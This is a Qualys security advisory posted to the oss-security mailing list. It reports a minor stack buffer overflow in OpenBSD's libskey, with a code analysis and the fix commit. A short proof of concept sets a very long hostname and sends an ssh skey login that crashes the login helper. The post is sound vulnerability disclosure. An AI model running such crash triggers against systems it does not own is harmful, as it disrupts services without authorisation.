Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 15 Mar 2023 23:13:23 +0000
From: Qualys Security Advisory <qsa@...lys.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: Minor stack-based buffer overflow in OpenBSD's libskey

Hi all,

(Posting this report here in case another project uses the same code.)

We discovered a minor stack-based buffer overflow in OpenBSD's libskey;
it was introduced in July 1997 by the following commit:

https://github.com/openbsd/src/commit/ea55ee16580e7b47c83712c5fd50615f8b1d26ad

and was fixed today by the following commit (thanks to OpenBSD for their
incredibly quick response!):

https://github.com/openbsd/src/commit/848ef98a011b51fa811cb86fe900433edd2db24a

and although the vulnerable function is reachable remotely via OpenSSH,
this bug is useless in practice:

- the hostname of the affected system must be longer than 126 characters
  to trigger this buffer overflow;

- the characters that overflow this buffer are all '\0' characters (the
  filler characters of a strncpy() call).

========================================================================
Analysis
========================================================================

For users who do not have an entry in the S/Key database (the default on
OpenBSD), libskey generates a fake challenge:

------------------------------------------------------------------------
 46 #define SKEY_MAX_PW_LEN         255
 ..
 49 #define SKEY_MAX_SEED_LEN       16
------------------------------------------------------------------------
420 skey_fakeprompt(char *username, char *skeyprompt)
421 {
422         char secret[SKEY_MAX_SEED_LEN], pbuf[SKEY_MAX_PW_LEN+1], *p, *u;
...
428         /*
429          * Base first 4 chars of seed on hostname.
430          * Add some filler for short hostnames if necessary.
431          */
432         if (gethostname(pbuf, sizeof(pbuf)) == -1)
433                 *(p = pbuf) = '.';
434         else
435                 for (p = pbuf; isalnum((unsigned char)*p); p++)
436                         if (isalpha((unsigned char)*p) &&
437                             isupper((unsigned char)*p))
438                                 *p = (char)tolower((unsigned char)*p);
439         if (*p && pbuf - p < 4)
440                 (void)strncpy(p, "asjd", 4 - (pbuf - p));
------------------------------------------------------------------------

Unfortunately, "pbuf - p" at lines 439 and 440 should be "p - pbuf", so
the "pbuf - p < 4" test at line 439 always succeeds and the strncpy() at
line 440 may overflow pbuf (if 2 * (p - pbuf) + 4 > 255 + 1, i.e. if the
hostname is longer than 126 characters).

========================================================================
Proof of concept
========================================================================

- First, as root on an OpenBSD system:

------------------------------------------------------------------------
# hostname="`hostname`"

# hostname `perl -e 'print "a" x 136'`.my.domain

# ktrace -i /usr/sbin/sshd -d -p 2222
------------------------------------------------------------------------

- Second, as a remote attacker:

------------------------------------------------------------------------
$ ssh -o ChallengeResponseAuthentication=yes -o KbdInteractiveAuthentication=yes -o PreferredAuthentications=keyboard-interactive -o KbdInteractiveDevices=bsdauth -l nobody:skey -p 2222 192.168.56.123
------------------------------------------------------------------------

- Third, again as root on the OpenBSD system:

------------------------------------------------------------------------
# hostname "$hostname"

# kdump
...
6718 login_skey PSIG  SIGSEGV SIG_DFL code SEGV_MAPERR<1> addr=0x7f7f00000000 trapno=6
------------------------------------------------------------------------

We are at your disposal for questions, comments, and further
discussions. Thank you very much!

With best regards,

-- 
the Qualys Security Advisory team

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.